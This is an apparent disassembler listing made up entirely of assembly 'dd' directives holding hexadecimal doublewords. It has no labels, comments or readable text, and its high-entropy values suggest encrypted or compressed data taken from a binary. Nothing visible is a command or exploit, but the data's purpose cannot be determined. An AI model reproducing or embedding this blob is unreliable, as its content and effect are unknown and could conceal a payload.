		dd 0FA2A7F05h, 0EE1844BDh, 0D681D280h, 493803B4h, 72B03447h
		dd 48FE39E3h, 0F4938D00h, 86C5D4C0h, 9169002Eh,	1DBCFBD6h
		dd 0DF906FF2h, 0BDF8D500h, 0F5C4471Ch, 53870A5Ah, 9CBF3Ah
		dd 33AE910Fh, 6E00A47Eh, 5763C34h, 39490D07h, 6805D54h
		dd 0A320BD93h, 9200C7C2h, 0E5A4FFB8h, 7287E39Ch, 959800CAh
		dd 0E05CA3F3h, 9F001603h, 94FDF852h, 0C8C9E6h, 0E1396E69h
		dd 0ACF2BF29h, 98704728h, 9A6DC700h, 2D6C60FEh,	0E04F50EFh
		dd 0EE480067h, 0B6DE7454h, 26003C9Ch, 2E6EC555h, 440C12h
		dd 65E6B02Bh, 383B7274h, 2D23C900h, 803FD61h, 59D70044h
		dd 8CAC9FDFh, 94A1B90Fh, 4D180C7h, 4328A384h, 758D707Ch
		dd 6F950989h, 0E420D121h, 377E5532h, 0C39D9A05h, 0AAC05D5Eh
		dd 9650D0h, 0A60DE1A1h,	723488CFh, 70209202h, 872FD711h
		dd 0C0AF6BDCh, 0B288A2B0h, 0E05600D0h, 261E5896h, 4115EF5Ch
		dd 0AA4AB24h, 8491A7CCh, 3A8D6700h, 2CF798A3h, 372C28h
		dd 0CDAFE54h, 4E13B6AAh, 3440CF9Ah, 0F294B3D1h,	0A82C601Fh
		dd 0B7B59013h, 0DB079BB0h, 0D50487E0h, 2F35493h, 5770F0F8h
		dd 0AEE08C29h, 0CC00EDAAh, 0C9839D77h, 3AA9DDD4h, 0C00033A6h
		dd 2E635EC7h, 6200ED0Bh, 8C37549Ch, 1031F39h, 0D06E0E5Bh
		dd 0EC185DB0h, 0B52AF946h, 0CE00E432h, 0E99C804Bh, 5CC12Ah
		dd 0FBF68F43h, 0FD201B96h, 1ECEE50h, 0A79EE800h, 920B21DDh
		dd 0A1F80077h, 69403FDAh, 83002522h, 2C08B253h,	4AA50FCh
		dd 7EF135EBh, 11B0D0AEh, 0D009C0Eh, 4A391405h, 3FECB109h
		dd 56A476CDh, 1E380E6Dh, 6B85A3C0h, 0E300618Eh,	53E92569h
		dd 0E8380h, 3A296FE8h, 867F453Ch, 0CE9EE702h, 80F28D6Bh
		dd 76CCC5E0h, 41020115h, 0F6050E73h, 0CAC3C034h, 54302F00h
		dd 0B9155217h, 40DD01FCh, 41DB8DA4h, 0AED9C7E9h, 7A7DD8D2h
		dd 0E1DA8B00h, 160B8939h, 2C8A0054h, 0ABED4760h, 0C60399DDh
		dd 389D5134h, 86E29875h, 0B8FB00C9h, 904AA0DBh,	19005BD6h
		dd 0E7ABA3DDh, 1CF16D27h, 40E075B1h, 89CCA50Eh,	39001368h
		dd 0EA108182h, 0FAF1096Fh, 2AE400ACh, 0AE9D9B14h, 0EC07BAB0h
		dd 84C91C32h, 471572D0h, 18B51F55h, 8A3F859Bh, 4368C2B0h
		dd 0D4793040h, 3996E501h, 0E391827Eh, 265CAF8h,	80DD356Ah
		dd 8880245Bh, 0F1F6B885h, 8DE8BE60h, 19F3AB3h, 0C287C4A0h
		dd 0DC682755h, 0E400581Dh, 8E85831Ch, 1D7208C6h, 8064819Fh
		dd 0EFB14C2Ch, 70003377h, 68DB5516h, 0C09D7B3Ah, 62963139h
		dd 0B61CD6CCh, 807BC106h, 1D39BF3Fh, 49EFF8C4h,	0DD000CFAh
		dd 0E85BEB52h, 7C906348h, 0FC231B28h, 110C8D30h, 4C91F2F0h
		dd 2E246C16h, 0E2980F5Ch, 0A0686BA7h, 564BC892h, 5BC18013h
		dd 0FB1D4400h, 737402DCh, 853800F7h, 53204E3Dh,	41C06813h
		dd 1BF42528h, 4A95005Dh, 3F7AAEC9h, 7890D6F9h, 0D7131577h
		dd 2C40290Fh, 0E6A1FEBDh, 0BC7000CBh, 0DB45D150h, 7879C88Eh
		dd 0B622B902h, 81E6C25Ch, 0EEF616D1h, 314E8440h, 0FB9500D7h
		dd 0A0223C5Ah, 0BCA08E42h, 0DD002C0Dh, 1658F617h, 5EC256h
		dd 0C5474D11h, 2D07DBCFh, 98B51300h, 0A38160FAh, 0B38A0073h
		dd 24A5C270h, 15014A45h, 0F632523Dh, 8ED4410Bh,	9EA10092h
		dd 9F187CAFh, 0DE00D70Dh, 0C3A6F6BFh, 0E13C25h,	0CE249D55h
		dd 58E852BEh, 714BEB00h, 27A11BB8h, 0B3ED3B29h,	9D0078DDh
		dd 0C8431FDFh, 8E7E9C77h, 0E137AA00h, 9315D294h, 6986006Fh
		dd 11C3C8Fh, 7122163h, 0A60048E6h, 19F81236h, 468B093Bh
		dd 0FE80E744h, 0C9D1CCAFh, 56AC4054h, 0F802BB90h, 3F1893FCh
		dd 4048E243h, 0B32EFDh,	7C77DCDAh, 0C4BFAA23h, 77FD198h
		dd 56C120FBh, 9C83FD01h, 0E8494821h, 410D020h, 0FB922328h
		dd 0A03091A3h, 8A927003h, 5F00E0B0h, 0CA949CC3h, 61044181h
		dd 89C28947h, 0E8D865C4h, 0FB306756h, 1C070849h, 1F18DE66h
		dd 7EF5004Eh, 0C0840F2Ah, 0A4AD0300h, 0CB58FC92h, 0C24A0740h
		dd 6643AC69h, 0CE0460C7h, 826489BAh, 0BD81C301h, 2034E8D7h
		dd 25E02224h, 4518653Fh, 0A89275C0h, 3E9C7A16h,	0AD00C885h
		dd 22AAECA3h, 0A0013228h, 66CC2A17h, 584163C2h,	64402E41h
		dd 0E4B3CAh, 3FA702D1h,	41F86776h, 0C8100650h, 7CCA9380h
		dd 0C035180h, 4F70E9FAh, 5D2B9040h, 413B00CDh, 911A5726h
		dd 7FAA550h, 6D7FBC0Fh,	0FDE440BEh, 0F255Fh, 0CDD75604h
		dd 146C3235h, 30463C00h, 0A427881Eh, 0D1A00CAh,	0CF4DDF7Ah
		dd 0D324F0F5h, 9109AC48h, 6304102Ah, 9B0300F8h,	46E4EBCAh
		dd 8CCE3C2h, 2215Eh, 8D7903F0h,	0B512A44Fh, 400ABA7Eh
		dd 84C587EDh, 76B90780h, 0A870B2h, 6D9861C8h, 50DB2CD6h
		dd 4D284501h, 0C6AD6C07h, 0CFF6D143h, 62CC23BBh, 0CB51971Ch
		dd 0D443C33Fh, 5C083007h, 62148921h, 0AC2CE100h, 3C7CD55Fh
		dd 9020629h, 60C820C6h,	88A79737h, 0AB93C0A0h, 4092A2h
		dd 1A0599BFh, 47668C28h, 8842033h, 0E02100B6h, 633A0591h
		dd 24FC8BB1h, 4D6A1908h, 0AA9F8EA5h, 0C3871483h, 0A1E01100h
		dd 0BE49FE80h, 41A31967h, 80D40886h, 80998721h,	7F7495Eh
		dd 48CEBE2Eh, 4119834Ch, 0B0D8F632h, 36188088h,	19DF3AAh
		dd 0A22B7108h, 0CCCA2193h, 0B9000573h, 0D630B1C2h, 15D73FE8h
		dd 0E0CEA8FAh, 0F9019223h, 0F3CA9C03h, 1885418h, 0FE0301F1h
		dd 0CC110872h, 4194409Eh, 0CF67E4D6h, 2D032A90h, 886BF8B7h
		dd 0BC64007Fh, 86474C4Ah, 0D20048E5h, 0D166F5F2h, 3B833C0Dh
		dd 0A7803D71h, 65FBEA7Dh, 0F61803EDh, 5EA73240h, 1BC8004Fh
		dd 31FF88C2h, 17002B3Dh, 83B771F9h, 7F57E35h, 568BAE08h
		dd 5C90AEDh, 803F1654h,	15A6FD18h, 0C9B624Ch, 8AFE3D7h
		dd 925307FAh, 171B3312h, 0AE61E003h, 0B47ACF4Ah, 9CF9D101h
		dd 0A8063E36h, 0C6E53080h, 0E34DF89Eh, 27005EB0h, 52E440B9h
		dd 35F0C29h, 567CE9DEh,	7EC8EDBAh, 31604146h, 4335C3C1h
		dd 3B7D0090h, 0E5BA0921h, 0A600086Ch, 2C742E27h, 362D2BA0h
		dd 18C8FEA2h, 7F985F1Dh, 2FAC8340h, 3819B7E4h, 0C80FD958h
		dd 2D83A8D6h, 3000F382h, 0ACE35686h, 35EAAB4h, 24CAE223h
		dd 0BBE12BA6h, 21199FA8h
		dd 87289A08h, 73BAF4F3h, 52FBA7F9h, 3F2457A0h, 7BF10160h
		dd 21547Eh, 56231862h, 41C57DD5h, 9AF6FD00h, 0FF555B26h
		dd 5D813D43h, 0A17F4C00h, 117AA903h, 0C13F4107h, 0AE473142h
		dd 0A0565483h, 2EB4DBh,	6C3713C3h, 0E1147586h, 0C4052F06h
		dd 0F18A21Ah, 1E8E298Ah, 6104AC61h, 55E7E0B6h, 900C0978h
		dd 28A502CCh, 9EA3183Fh, 0B2BC6128h, 22A03B01h,	0B4965E32h
		dd 37C460C9h, 0EEF3016Fh, 1BA413ACh, 300CEF98h,	28A95531h
		dd 210E8486h, 606DD89Fh, 19D9E11Bh, 0A24005Fh, 87168ACh
		dd 0D1D05B2Ah, 4006C61Ch, 0E1510019h, 0E3C5298Bh, 0A164AC2Dh
		dd 4203598h, 0C96F3EA4h, 15EAA6C0h, 445C8521h, 2762405Dh
		dd 61E036h, 5ABAAB60h, 0D67140A6h, 3F20B060h, 0B15C6Eh
		dd 0B414AE18h, 8E04F3C2h, 0E8E50C1Ch, 480508C6h, 634007B1h
		dd 20919BB5h, 0FF02270Fh, 0D00C6074h, 51A885E2h, 0AE09C005h
		dd 2F49920Ch, 800047Ch,	0D88E0E2Bh, 332B8F3h, 0F95C56F7h
		dd 7822EE35h, 1EDEAC9h,	5579EBA3h, 4133732Ah, 1090CCA0h
		dd 5026218Ah, 3FD998E2h, 0F9000C44h, 0AEDC85Ah,	0AB000E33h
		dd 0EBBC7921h, 7009F81Dh, 9679C129h, 425FFBC4h,	48201924h
		dd 605BC7Eh, 6F7BA1Fh, 1603C11Dh, 0B1583CD0h, 0E727D942h
		dd 0B0401CD9h, 2429B7E8h, 3343F6Fh, 86947092h, 2116F806h
		dd 14182543h, 0C42688C3h, 56C6C90Bh, 0BDD88380h, 65079CC1h
		dd 0BE73CCA3h, 5C63E100h, 99AF15CDh, 0B600DC23h, 26566E1Ah
		dd 0D600F416h, 2A9544CFh, 6C61BEh, 0E8EC984Fh, 9B110CB4h
		dd 0A4702660h, 8BFEAh, 0AA431899h, 58C0B0ABh, 0A9477C13h
		dd 0C0735F0Fh, 3FFEF67Ah, 3EAB3129h, 0F117AF38h, 0E42A61DEh
		dd 8800212Dh, 0B05CEE84h, 0FBBA7D6h, 9F27537Fh,	3E80382Ah
		dd 19ABFE18h, 9020C6A7h, 0B8FF5020h, 92A0A860h,	99DFC71h
		dd 0CED63786h, 55850C20h, 0FD73FBD1h, 89844100h, 5622AE0h
		dd 0B2D4A8B4h, 0E93F07C8h, 0E01191E3h, 0DECD3CD7h, 2B488D00h
		dd 1496A1D4h, 0E3491D6Fh, 0D91540A4h, 0B57BC4A2h, 0E49F6A00h
		dd 7780E743h, 0B109CC5Ah, 14001521h, 0ED9ACE9Fh, 12F4D2h
		dd 0C565FA51h, 0D57BC227h, 46D7A200h, 76257443h, 0D9A403C7h
		dd 56F29FA1h, 172D7123h, 4366050Fh, 0CD38223Fh,	9F151E20h
		dd 9ADF007Ch, 6FA3D34Fh, 0A4FC0C61h, 216B4100h,	9C4A5BB1h
		dd 8075F024h, 0DA079260h, 0B7D3AA2h, 1995FD6h, 6999E564h
		dd 3EBEF8D9h, 600822C6h, 0ED822167h, 0EC00B899h, 14443B2h
		dd 15E8D1Ch, 0E85FB3CFh, 82DC217Ch, 4B6DD599h, 0C3BB40F8h
		dd 0A38F2899h, 22B4670h, 439B9F0Dh, 10B0312Fh, 1C9F6B1Ch
		dd 0C0A8DFBAh, 4E035F6h, 8A0641EBh, 0B893B9C3h,	24400C58h
		dd 53F83A09h, 41D8F331h, 0E883DE28h, 2C1D54D4h,	0BCD72000h
		dd 962FB761h, 15872D5h,	0A231AACEh, 70FB1B6Ch, 500C564h
		dd 3A9B1AE6h, 77450Bh, 1EB20859h, 79C113EEh, 43D95F00h
		dd 0F3E9864h, 0B62000EDh, 6DC0C38Eh, 1100214Eh,	0D9E9CB0Bh
		dd 0B7E24Ch, 5C68D408h,	90F43631h, 3B2FBC00h, 67D04E86h
		dd 8854004Fh, 78CB3770h, 7100EED5h, 0B561F1B3h,	36B66Eh
		dd 0AD8D3595h, 83BA6DBCh, 458F8C00h, 7C728496h,	210EA1Eh
		dd 3B0A40FBh, 0BFE0D699h, 0AC002AFCh, 21B2701Bh, 7DE7DBAh
		dd 0F18F357Eh, 0E5F450CEh, 5C012343h, 54BA059Fh, 204234C1h
		dd 15DB81C8h, 0B8DC76EFh, 9C9B00A4h, 6FF7F61Fh,	3B0062CDh
		dd 0F3F5EC35h, 13EB52Bh, 1ACCD887h, 0F5DD6163h,	0DE81F03Bh
		dd 9E3A867Ch, 6DAF983Ch, 4E4180h, 14576F36h, 0DAC07B5Eh
		dd 7F18721Fh, 0A0DF3DC1h, 89803A34h, 7B3F1B80h,	0F0FBF81h
		dd 0A06EA777h, 0D8EC64CDh, 68D563BBh, 81004B7Dh, 343452Ch
		dd 745BB026h, 0D1E00EDDh, 0C5C0C0D5h, 5E493D53h, 0A0914301h
		dd 694142B5h, 320D960h,	0FDCF3ED1h, 930361Dh, 0D4F121A5h
		dd 3D840020h, 0A3B59EE6h, 0EF018CE8h, 51C2033Ch, 7CCD09Bh
		dd 0E2061034h, 0CE410016h, 5C860FBEh, 0DB9001A1h, 917A4568h
		dd 89388C23h, 38C2816Ah, 1680E63Ah, 736611BBh, 0DB079398h
		dd 0A9A4657Fh, 0D14E7261h, 0CD422081h, 4FDDE167h, 9AD21120h
		dd 0DDB12280h, 80E91439h, 4DEE8930h, 7DFDC1A7h,	0F5E933A0h
		dd 21016708h, 394DE62Ah, 506025B9h, 0FACFA84h, 0E3E1ED3h
		dd 0B0E040CCh, 8E394F14h, 0C8B10E90h, 0AD140C2h, 503AC1AAh
		dd 3BB843Eh, 8AC08117h,	1005E346h, 5C5F55C8h, 0A823C02Fh
		dd 0BA5E0201h, 0C7A0B0h, 0D24CF219h, 2C1280D8h,	0C0C7E100h
		dd 15108525h, 66941858h, 0CEEB878h, 354FDD0Eh, 0B16880B2h
		dd 502E41F4h, 386260D9h, 0AAD053A6h, 664C98BCh,	217A089Dh
		dd 80AD293Fh, 9E65E852h, 10A07BFh, 91ED6644h, 80E93D4Fh
		dd 0EA180D29h, 48BC77DFh, 461108D1h, 35400C60h,	2A452981h
		dd 7880AC37h, 0D0B85623h, 0A44C5301h, 0CAF45C1h, 0EBDF886Eh
		dd 0AE0F4D73h, 0CAA1D281h, 0C88088BCh, 1F4454ADh, 30FC0027h
		dd 0CBA432D1h, 0E850DE3Ah, 0A80BEDC0h, 8BB686h,	56E48410h
		dd 545769Ch, 435F1ED2h,	0A2CC60ABh, 3E232720h, 0AF11FFh
		dd 8120BAFBh, 0E1EE39Dh, 0F2A63D47h, 0BC9194FCh, 2C6D8C07h
		dd 1243B3D4h, 0DCE823h,	0C1A84DEFh, 4486A0E5h, 0E7002B12h
		dd 2610644Dh, 1F81D5FAh, 703AA335h, 1CA5A021h, 8C219800h
		dd 72C2835Eh, 0E9DD6F5Ah, 0EA15723h, 42B800C5h,	4CE168B7h
		dd 0D8F10092h, 0BB0374D0h, 8015DB5Ah, 0EC0930C2h, 74390121h
		dd 5284492Eh, 19309826h, 0EC053F41h, 0A06E017Dh, 0DB8C58A1h
		dd 56F080BDh, 1360668Ah, 1DE9F492h, 1EBBB909h, 75E0CCCh
		dd 317F7F41h, 0B76ADD01h, 0B4665D93h, 0BB230422h, 0A14C5001h
		dd 10184DC1h, 0FAE82888h, 0E26C0017h, 3F3A568Bh, 7E00A554h
		dd 77659B31h, 605D69A3h, 0E4583017h, 0A8D9B4E6h, 0BE8DDF80h
		dd 2D9CD69h, 0DF30E890h, 5AA01174h, 80E688C3h, 474279Ch
		dd 0AD070EB2h, 2C58F0D9h, 90E12126h, 909C0A78h,	17C2A5Eh
		dd 837503Fh, 4CF1A4B7h,	712465Eh, 1C2598CDh, 4B15B6C0h
		dd 0FF91C2EEh, 818EF693h, 22D40342h, 770721C0h,	7963DC01h
		dd 168326D1h, 12B617C8h, 2F229B8Dh, 6D2348h, 3E3FA52Fh
		dd 0EC908976h, 0A000A0ACh, 6670431Bh, 0E1EC6E8Ah, 0C9D0420h
		dd 5A5D9071h, 0BB49A2F9h, 0B1A300A0h, 18DBDF02h, 9EA0438h
		dd 816B06CAh, 23895E0Ch, 7721718h, 4AC0410h, 0C7A10D7Eh
		dd 0DF8268C1h, 22C9007h, 0B77E5D2Fh, 4C5B30A0h,	0BC988172h
		dd 2D3FC200h, 4F9DD4A3h, 0B2518043h, 0A2845616h, 0DC045012h
		dd 0ED0EF386h, 4AB7FFE0h, 57699DD1h, 0AF100431h, 0D320A660h
		dd 11DF3E23h, 0DEF700AEh, 0A3DA4520h, 0CABB8A7h, 0A468866Bh
		dd 14917E70h, 0B6227110h, 21884007h, 9F99E437h,	83671190h
		dd 0B88A5807h, 88B794D1h, 84493B3Ch, 46C32000h,	4C5202B9h
		dd 675DC1A3h, 0EADE00BCh, 7DF6144Dh, 5C56AC0Ch,	95C8AFh
		dd 7859FF3Ah, 68DA75BBh, 14127B80h, 0B181CA43h,	0B9448D01h
		dd 345BAB3Ch, 8C88354Ch, 0BD890FFh, 0BB3A4039h,	508E1029h
		dd 53AA80F1h, 8C956BEFh, 1CD9E44h, 14B35392h, 0BAB8E856h
		dd 8E490198h, 0B73A4FD0h, 86172982h, 1089A09Ch,	2635E4A1h
		dd 0D24A0142h, 6CACC187h, 61E82129h, 0D826FCEDh, 3E0F0100h
		dd 0ACD3FCA6h, 0BA8E1D7Eh, 0CAEC891Ch, 8F203002h, 14563304h
		dd 0BB192499h, 114718CAh
		dd 91809CDEh, 153DB84Eh, 0E700F761h, 0CB4C8827h, 7293475Eh
		dd 0A0044C7Ch, 44944900h, 9169A0BEh, 0EB915899h, 0A1742680h
		dd 448CCB5Ah, 2E009BE7h, 62B0A374h, 255F9B4h, 3A6684AEh
		dd 4867B1D0h, 506711C4h, 0F3BD64Eh, 0A53C1B3Ch,	0F8000162h
		dd 28E8A1A8h, 0D0B1A2h,	58878DB1h, 602D567h, 3AEBBFCCh
		dd 0DF40A4B6h, 0A54DEC60h, 0D4EDC12Eh, 38E4D470h, 188D964Dh
		dd 0F0E98A6Dh, 0D7E42AC2h, 9301E490h, 0A4E65F84h, 21804C3Ah
		dd 0E7691D03h, 9600B3DDh, 53F07455h, 0A83F4FA2h, 314B1D0h
		dd 6A514A50h, 0D810BCDDh, 6750193Eh, 0F0B90070h, 0CA17221Eh
		dd 89F8A424h, 83EA8A3Bh, 363A13CCh, 0B78000E7h,	8FDFAA14h
		dd 611717F2h, 0E3005DABh, 234ECED5h, 0D186303Fh, 2B945640h
		dd 1C58A760h, 9A05D51h,	0DF7E7FBBh, 60AC3C84h, 23D020A1h
		dd 0AD11C73Eh, 20B9F800h, 711073A5h, 876E8601h,	0BBE8F2D8h
		dd 400A8460h, 204BCB7h,	44EF9CD4h, 8C9270C8h, 0D220BB04h
		dd 0CB2D73Eh, 20D3F6C0h, 6D068612h, 0D6678C53h,	90DE2A58h
		dd 0E81F00A4h, 2DBAEADDh, 0E400C75Bh, 77E9675h,	2ACECBBBh
		dd 2DCE005h, 93B4ADC1h,	0D4A01D5Ch, 0D5A8D4EAh,	89F76E3Bh
		dd 4631403Ch, 99FE00B8h, 3D720106h, 84735803h, 4F80B269h
		dd 0EB4E4244h, 8D9EBA10h, 0CB422048h, 0F840329Ah, 4700AA7Ch
		dd 224F0258h, 0FC568A9Ch, 94B01Fh, 0BF7E71CBh, 0C2E70148h
		dd 0BBC01E60h, 0A6906994h, 0E70A08Ch, 7A4680EAh, 26A01B3Ch
		dd 0E4640C83h, 0A474DB60h, 11235A23h, 1A03EE9h,	0E8CC5E74h
		dd 821961Ch, 3601A032h,	1DBF6839h, 5CA1EB92h, 8043E5BDh
		dd 0DDB75289h, 7FC6119h, 0C889E571h, 0B9AC128Eh, 0B2D2B484h
		dd 89B38800h, 4C44BC75h, 2501EA46h, 735AA674h, 88EE0C14h
		dd 74042D9Eh, 3840325Dh, 39153CB4h, 0A4D0845Eh,	0D376069Ah
		dd 0C9BDA191h, 0D05FC400h, 0E7583568h, 8AFE39C0h, 8F3E2684h
		dd 0F23CA2FDh, 88223067h, 0C1FBAA03h, 0E9906582h, 0BCCC15D5h
		dd 26F7FE9h, 0E3ED114h,	8080127Ah, 8F364FA1h, 18AC888h
		dd 0C2C93446h, 0CF936CA2h, 5AB77190h, 978F8412h, 0EB3C6400h
		dd 125B128Bh, 449914h, 0B00F0A1Ch, 0CF605D92h, 0D1727F91h
		dd 769301EEh, 0E6E45AEAh, 3140859Dh, 0AC823A9Ah, 9C2A30h
		dd 58AEB4A6h, 1724B628h, 0CE085C49h, 198F0AF3h,	64467488h
		dd 0AE3FAB07h, 377EB002h, 64B83BB2h, 0A85D3A0Bh, 24E804BBh
		dd 0ED53B067h, 448CA56Bh, 0B000CF79h, 0C2997053h, 39D52130h
		dd 497ECBA0h, 204A0497h, 0A133B584h, 0BD6F950Eh, 22449DEBh
		dd 1A049353h, 0E78C8CE0h, 74D2048Ch, 622B5AA5h,	3A9F20EBh
		dd 951C7374h, 0AE4A3EE7h, 4401E46Ch, 0DB16A1CAh, 0EE8929B8h
		dd 80689012h, 4FF288Eh,	2F00D4B2h, 0C6EC4C99h, 0EF001BFDh
		dd 3A12CA03h, 81577449h, 165300EAh, 52950C86h, 0CC8DB9Ch
		dd 163A420h, 822793CDh,	386A9E10h, 144CECh, 0BDB4A21Fh
		dd 7A7EB8DCh, 0FE1D000Ch, 8A964BFFh, 40DDA611h,	5118D82Eh
		dd 1606B58h, 0C41E3A0Ch, 0F6575809h, 0A9E430C5h, 37FF5A60h
		dd 73960D0Eh, 0E912C034h, 0E62C88CAh, 15207C16h, 0C4EC0292h
		dd 5A0CF722h, 0C07BEA9Ch, 0F88D54D9h, 15DE26BAh, 75B44170h
		dd 8F3189F8h, 33A280B9h, 84BAFEh, 0BF4CF2C7h, 569BC078h
		dd 2E1CD03h, 0E91E3787h, 144F36FFh, 7060B031h, 7903EFDFh
		dd 0E9F58E93h, 42112944h, 33AC104h, 6D1080BAh, 5A53DE12h
		dd 0CF9B00C9h, 0AE7AD2A7h, 440076B2h, 2495E509h, 0F4EF4E9h
		dd 39D4EE96h, 5EB680BDh, 0E0641251h, 7F8C3000h,	24E34C0Ah
		dd 0C85400F2h, 0C3B72A25h, 457B8F8Eh, 0CCBC141Eh, 8AD8F307h
		dd 61ED6822h, 0E7F4EBE7h, 0E4AA00F4h, 0D6BE7652h, 29B8D2C8h
		dd 0FA630502h, 800E46C5h, 0CDB297FAh, 0DFFB0085h, 7835C028h
		dd 17021EF3h, 0FFA0B954h, 422760CEh, 0DA6A261Ah, 0ECE2C3Ch
		dd 0A847BE8Ah, 14E623F5h, 9D5E5980h, 0C8091900h, 0EE3B2F7Ah
		dd 70D400E3h, 0C9990A56h, 43FA6FE1h, 0A45E7800h, 0F534A7AFh
		dd 4980F7B6h, 73F8F10Bh, 0A0008CABh, 43F0EC98h,	8A2AB2h
		dd 47E04E02h, 7364285Ch, 0A67D24h, 888D5D8Ah, 339ACA80h
		dd 673DBBAh, 2E3F7443h,	0F63098E6h, 69B11834h, 0A5EED7h
		dd 3A04A979h, 10F30895h, 9B8421C0h, 52A4A40h, 21E04BD7h
		dd 0ACF04783h, 386B308Bh, 34009FE8h, 61A2750Bh,	0E487Fh
		dd 842BF85Bh, 4FA8CA86h, 0FC802501h, 0CC160FAh,	7BCD330h
		dd 43EDB768h, 5DF6101Eh, 0CB0F858Ch, 6B4424h, 579AF1AFh
		dd 0D2FF0165h, 743452Ah, 0B1FF4340h, 8010593Dh,	9A840F08h
		dd 272ABBh, 77955220h, 94DCA459h, 9D3D61FEh, 40468701h
		dd 73B7A617h, 0FB23E510h, 5893E38h, 28EAD280h, 0ED51B5A1h
		dd 0A04DD61Ch, 0C5648C2h, 0DDB483F5h, 0C0F914A5h, 143E548Bh
		dd 9935B600h, 0A1BDA45Fh, 71FE4079h, 530E9F77h,	0F3FF7Ch
		dd 0B98DE9C0h, 6C9800D8h, 1A31F1EAh, 670181BDh,	0A87A35EBh
		dd 22C00BDCh, 71D30E98h, 0B4645A0Dh, 70B490E2h,	4C018319h
		dd 17F8516Fh, 0B5F49D02h, 9E210005h, 8CF63EDEh,	0E15CD50Ch
		dd 478D0789h, 6A77845Fh, 4B254DC2h, 70148004h, 828E01ABh
		dd 0B1DFFE5Bh, 20B5C5D1h, 210D343Ch, 0D098B21Dh, 5483D0h
		dd 0CB0C20BFh, 625DBD32h, 0FB718E13h, 194B9090h, 0D27F0E88h
		dd 1E20DD82h, 4986D157h, 4C8AC700h, 47848E08h, 8D8F0F01h
		dd 9A4056CEh, 0FA7C6AF1h, 9BBC7000h, 0CB80D904h, 979000DBh
		dd 0B110B34Bh, 7E00FC59h, 969EA16h, 0D8AA7Bh, 3D3495D3h
		dd 2F8A781h, 759E3F00h,	5123CCFCh, 6EEF008Dh, 291F327Bh
		dd 0AE06922Dh, 1E994F37h, 82953B10h, 3B0EBD80h,	86CE13EFh
		dd 0A1AF1100h, 5A6A17FDh, 80804F81h, 0AA7DF984h, 2A44DB00h
		dd 0CF532DDCh, 0CD4B0170h, 0DA49E999h, 9CE1D47Ah, 1C307103h
		dd 76D081EFh, 53E924C0h, 2C9643FCh, 0B4438FEAh,	6B8E05A0h
		dd 403EDD73h, 71FAF350h, 0E840524Ah, 95649BF9h,	0AA850035h
		dd 0FE261513h, 17006683h, 0CF89CEDh, 0B962F4h, 207258A7h
		dd 0F314D6ECh, 3F00C8ECh, 7BA256D8h, 3D80C1h, 2789B917h
		dd 0C315EB4h, 0C03F1F00h, 104011D9h, 54F7165h, 0D6390819h
		dd 92880EE1h, 56202123h, 0BF5942C0h, 1B1DC900h,	8EB39791h
		dd 0AB750377h, 355C32D7h, 2D2E5800h, 0DFA42140h, 0C0A00759h
		dd 100CD4B6h, 1B09A9F0h, 0E0915300h, 0C58B8F6Ah, 16892E5h
		dd 1F7A1CA1h, 20E26CFEh, 3F002438h, 79C5437Bh, 11B999Dh
		dd 15B26526h, 0DCEB5BBAh, 0FB05D3A1h, 6C205A4Dh, 2246B040h
		dd 3EB221h, 0F52A28CAh,	0DD9ABA0Fh, 7615FD00h, 6CC6C5B8h
		dd 0EBB087h, 599061E4h,	9A245E8Ah, 0D035579h, 0CB17481Fh
		dd 27EA1FA8h, 2403ED70h, 37F03B89h, 7B0768B5h, 926709E1h
		dd 0E2499900h, 1C550266h, 2AD5E3C3h, 23422240h,	90168F0h
		dd 0F876F15Fh, 0DF209C6Fh, 0E48600B0h, 1C5CC220h, 0C500E558h
		dd 0CDB797B9h, 60A4CF0Ch, 0BF8038F2h, 5A323CBEh, 60D210F3h
		dd 4ADA48h, 0EF384F19h,	0B1E9C4E5h, 0D920FD60h,	16F870h
		dd 0D1CE9C04h, 2AD88C97h, 25A61B01h, 0B67159CCh, 3E3865DCh
		dd 0F22CEAh, 0D5230FE3h, 68299674h, 931E05EAh, 4A0F3F22h
		dd 715127F5h, 0A4EF8C10h, 0E0A000FAh, 2ADE4C9Ch, 2BFC63A1h
		dd 0A2066E03h, 0A825E733h, 0A5E8DDh, 0D6B46667h, 4DB1314Ch
		dd 0C4D75003h, 0F82E4432h
		dd 9A68EDh, 0D875B766h,	9D9BCCD6h, 0A63D5E0Fh, 3F5980FAh
		dd 244D270Bh, 0E853E4h,	0AF4EE09Eh, 1400FEA2h, 0AC3D6F30h
		dd 3ED358D6h, 0C407C1A1h, 474C6DD2h, 3F8D8024h,	1438F3DEh
		dd 470180A4h, 586B54F0h, 0F1BE0053h, 152B99B1h,	1D005B38h
		dd 0FB13A991h, 14CC0983h, 94B5B2E5h, 46078EC0h,	9600B8CAh
		dd 92606B9Ch, 4DF081h, 53103306h, 0CD97A984h, 57E5FA00h
		dd 98B4F6B9h, 876A002Ah, 5CBB9070h, 19170443h, 0D88010BFh
		dd 0BC9B69h, 7F718DC2h,	0CDB6462Ah, 0FD03FE09h,	20208E11h
		dd 0DFC8863Bh, 61DD00ADh, 0D995CC06h, 6B5C3D48h, 3F460098h
		dd 0F6D5BF1Fh, 4E592521h, 0FD151400h, 74AEABDh,	7540D85Ch
		dd 20A68014h, 80D36017h, 21FD873Eh, 11CFBE33h, 722EC0B7h
		dd 0D8F60077h, 0D62B5BACh, 62007E36h, 0ABB8F215h, 3EED2586h
		dd 0A9011099h, 0EE19479Ah, 0CEF240E2h, 0B00F4C2h, 3E1AE65Bh
		dd 622CA370h, 75EA583Ch, 0DC58E05Ah, 6BE70069h,	0ECE2C212h
		dd 29D260AAh, 5F623E3Ah, 2EBAA827h, 0C9DE8CA4h,	1D85985Ch
		dd 10358B8h, 37CA5ADDh,	0C210414Ch, 381C40AAh, 257EFD67h
		dd 7BEAE912h, 59854400h, 1EC64F30h, 7E2E06A6h, 0D81B7800h
		dd 0E0E8A77Dh, 6DB15D00h, 8EA41F0Fh, 15EA2474h,	28750049h
		dd 6125548Fh, 242E8607h, 0E9F0B8B3h, 0EA3B594h,	568DD8B2h
		dd 0F0C982E0h, 14035B1Eh, 383F7F43h, 0B07AE057h, 8478F9D3h
		dd 8CA9BCh, 3EF31927h, 5C4D366Ah, 0F4D0D807h, 0EB869E1Ch
		dd 0C9013558h, 0E0C4F630h, 1CBB9F7Ah, 0D2D59253h, 9A28D33Ah
		dd 443781C0h, 2A7A6801h, 774B5D66h, 1880D02Ch, 2D3B2560h
		dd 0EF0E2301h, 481A7B8Dh, 3A574E0h, 0E14311BBh,	2AF87864h
		dd 0E84BA361h, 845A0C41h, 0C0838DE3h, 76A18B0h,	0D02F205Ah
